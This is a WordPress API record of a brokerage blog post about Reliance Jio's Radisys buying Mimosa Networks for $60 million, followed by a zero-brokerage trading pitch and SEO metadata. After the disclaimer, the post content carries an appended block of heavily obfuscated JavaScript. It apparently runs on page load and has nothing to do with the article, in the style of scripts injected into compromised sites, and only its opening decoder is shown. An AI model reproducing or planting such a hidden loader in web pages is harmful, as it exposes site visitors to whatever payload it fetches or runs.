{"id":3375,"date":"2023-03-09T10:19:04","date_gmt":"2023-03-09T10:19:04","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=3375"},"modified":"2023-06-21T10:58:45","modified_gmt":"2023-06-21T10:58:45","slug":"reliance-jios-radisys-to-acquire-mimosa-networks-for-60-million","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/reliance-jios-radisys-to-acquire-mimosa-networks-for-60-million\/","title":{"rendered":"Reliance Jio&#8217;s Radisys to Acquire Mimosa Networks for $60 Million"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/reliance-jios-radisys-to-acquire-mimosa-networks-for-60-million\/#Radisys_Corp\" >Radisys Corp<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/reliance-jios-radisys-to-acquire-mimosa-networks-for-60-million\/#About_Mimosa_by_Airspan\" >About Mimosa by Airspan<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\">Get ready to pace up your trading with the fastest internet connectivity that you are about to experience due to this new acquisition. In a significant move, Radisys Corp, a wholly-owned subsidiary of Reliance Jio, has announced they will acquire Mimosa Networks from Airspan Networks Holdings for $60 million on a debt-free, cash-free basis. Mimosa Networks, acquired by Airspan in 2018, provides a broad range of products based on WiFi 5 and the more recent WiFi 6E standards for point-to-point and point-to-multi-point connections.<\/p>\n\n\n<h2 style=\"font-size: 16px;\"><span class=\"ez-toc-section\" id=\"Radisys_Corp\"><\/span><strong>Radisys Corp<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n<p class=\"wp-block-paragraph\">A member of the Reliance Industries family and a world leader in open telecom solutions, Radisys Corp. Using open and disaggregated platforms and solutions, enables service providers to transform into digital experience providers. Digital endpoints, open disaggregated access, core solutions, immersive digital apps, and engagement platforms are all included in their end-to-end offering. Together with the aforementioned, its professional services division offers full lifecycle support to assist service providers in setting up and running highly scalable, high-performance networks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The acquisition will see Mimosa&#8217;s product development, manufacturing, and sales teams of 56 employees continue with Mimosa following the acquisition by Radisys. With the acquisition, it will continue to promote Mimosa products to some of its customers as a reseller channel for particular joint 4G\/5G and FWA projects.<\/p>\n\n\n<h2 style=\"font-size: 16px;\"><span class=\"ez-toc-section\" id=\"About_Mimosa_by_Airspan\"><\/span><strong>About Mimosa by Airspan<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n<p class=\"wp-block-paragraph\">Mimosa is a fresh kind of moonshot that reimagines how people will have incredible internet connection via wireless all around the world. It was developed right here on the ground. We&#8217;ve assembled the industry&#8217;s smartest professionals, who have expertise from some of the most transformative technology businesses, to take on a task of this size. Their enthusiasm is clear with the aim of not just increasing the number of individuals who have access to the internet but also improving, accelerating, and strengthening that access.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mathew Oommen, President of Jio, said, &#8220;Acquisition of Mimosa will further accelerate Jio&#8217;s innovation and leadership in the production of telecom network products that deliver value to consumers and enterprises across the globe with cost-effective, rapidly deployable fixed and mobile broadband.&#8221;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The acquisition is intended to speed up Jio&#8217;s innovation and leadership in delivering affordable, quickly deployable fixed and mobile broadband telecom network technologies. Jio has been a significant customer of Mimosa. Use cases for Mimosa&#8217;s solutions can be found in the backhaul needs for 5G and FTTX\/FWA rollouts.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This acquisition is a significant step towards strengthening Jio&#8217;s position as a leader in the telecom industry, and we can expect to see more such strategic moves from Reliance Jio in the future.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This fast-paced internet connectivity will help traders not to miss any important opportunity in trading. But only internet connectivity doesn&#8217;t do the magic; the charges that let you keep your trades on hold is brokerage. It\u2019s time to look no further; you can check out <a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Shoonya<\/mark><\/a> today, where you can trade in any quantity in any segment without any brokerage and hidden charges.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sources:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.moneycontrol.com\/news\/technology\/reliance-jio-subsidiary-radisys-acquires-mimosa-networks-for-60-million-10221541.html\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">moneycontrol.com<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.livemint.com\/news\/india\/reliance-jio-s-radisys-to-buy-us-based-mimosa-networks-for-60-million-11678337084943.html\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">livemint.com <\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks, read all the related documents carefully before investing.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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In a significant move, Radisys Corp, a wholly-owned subsidiary of Reliance Jio, has announced they will acquire Mimosa Networks from Airspan Networks Holdings for $60 million on a debt-free, cash-free basis. Mimosa &hellip; <a href=\"https:\/\/shoonya.com\/blog\/reliance-jios-radisys-to-acquire-mimosa-networks-for-60-million\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Reliance Jio&#8217;s Radisys to Acquire Mimosa Networks for $60 Million&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":3381,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[1738,1737,1736,1739],"class_list":["post-3375","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-acquire-mimosa-networks-for-60-million","tag-mimosa-by-airspan","tag-radisys-corp","tag-radisys-to-acquire-mimosa-networks"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Reliance Jio&#039;s Radisys to Acquire Mimosa Networks for $60 Million<\/title>\n<meta name=\"description\" content=\"Radisys, a subsidiary of Reliance Jio, will acquire Mimosa Networks for $60M, expanding its wireless networking portfolio and enhancing customer solutions.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/reliance-jios-radisys-to-acquire-mimosa-networks-for-60-million\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Reliance Jio&#039;s Radisys to Acquire Mimosa Networks for $60 Million\" \/>\n<meta property=\"og:description\" content=\"Radisys, a subsidiary of Reliance Jio, will acquire Mimosa Networks for $60M, expanding its wireless networking portfolio and enhancing customer solutions.\" \/>\n<meta property=\"og:url\" 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